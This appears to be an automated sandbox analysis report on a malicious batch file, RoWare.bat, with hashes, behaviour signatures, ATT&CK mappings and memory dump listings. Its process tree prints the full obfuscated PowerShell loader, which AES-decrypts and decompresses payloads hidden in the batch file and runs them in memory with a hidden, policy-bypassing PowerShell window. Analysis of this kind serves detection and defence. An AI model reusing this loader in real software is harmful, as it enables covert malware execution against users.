5baff04fad6153b7debb8003997edf677cd677263af4ab9e95510e225401ccde

General

Target

RoWare.bat
Size

399KB
MD5

472de93de365167459958b7ce29f610e
SHA1

7a7ace619fbd8569c2982fb1fc44aa4b6040f351
SHA256

5baff04fad6153b7debb8003997edf677cd677263af4ab9e95510e225401ccde
SHA512

03fc1017200c386cbe36050f5014c644edd57864ba1f7b88e5ab497d616ba3ec658ee8d690efde5544fe3befe569f3365e4d64f3b276245967193527e3b17f6a
SSDEEP

6144:VvP2P1+j6+5esGiWZo9wvkjXD6P8NUd7XPDRwEMiF7i5qwJgK5EG/R7H4z:ZOtyEvi7dzNmdjl5F7g1ZK8VH2

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2996 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2996 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2996 powershell.exe

pid	process
2996	powershell.exe

pid	process
2996	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2996	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1372 wrote to memory of 2988	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2988	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2988	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2936	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2936	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2936	1372	cmd.exe	cmd.exe
PID 1372 wrote to memory of 2996	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 2996	1372	cmd.exe	powershell.exe
PID 1372 wrote to memory of 2996	1372	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\RoWare.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1372

C:\Windows\system32\cmd.exe
cmd /c "set __=^&rem"
2⤵
PID:2988

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jiNE3E2FLDv+NKiKFH8uo69QT6nLdIqdGCpMMEmvmwY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2SAi3wOvnkUFLRYxrM1Aug=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bjuhq=New-Object System.IO.MemoryStream(,$param_var); $lHqpc=New-Object System.IO.MemoryStream; $ZhWoP=New-Object System.IO.Compression.GZipStream($bjuhq, [IO.Compression.CompressionMode]::Decompress); $ZhWoP.CopyTo($lHqpc); $ZhWoP.Dispose(); $bjuhq.Dispose(); $lHqpc.Dispose(); $lHqpc.ToArray();}function execute_function($param_var,$param2_var){ $DjkcC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpQof=$DjkcC.EntryPoint; $tpQof.Invoke($null, $param2_var);}$adpqO = 'C:\Users\Admin\AppData\Local\Temp\RoWare.bat';$host.UI.RawUI.WindowTitle = $adpqO;$cSfZG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($adpqO).Split([Environment]::NewLine);foreach ($zHjor in $cSfZG) { if ($zHjor.StartsWith('dxmcSvpkIMoaFKFAdSEr')) { $kULPw=$zHjor.Substring(20); break; }}$payloads_var=[string[]]$kULPw.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:2936

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2996

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2996-4-0x000007FEF5F6E000-0x000007FEF5F6F000-memory.dmp

Filesize
4KB

Download
memory/2996-5-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2996-9-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-8-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-7-0x0000000002240000-0x0000000002248000-memory.dmp

Filesize
32KB

Download
memory/2996-6-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-11-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-10-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-12-0x000007FEF5CB0000-0x000007FEF664D000-memory.dmp

Filesize
9.6MB

Download
memory/2996-13-0x000007FEF5F6E000-0x000007FEF5F6F000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing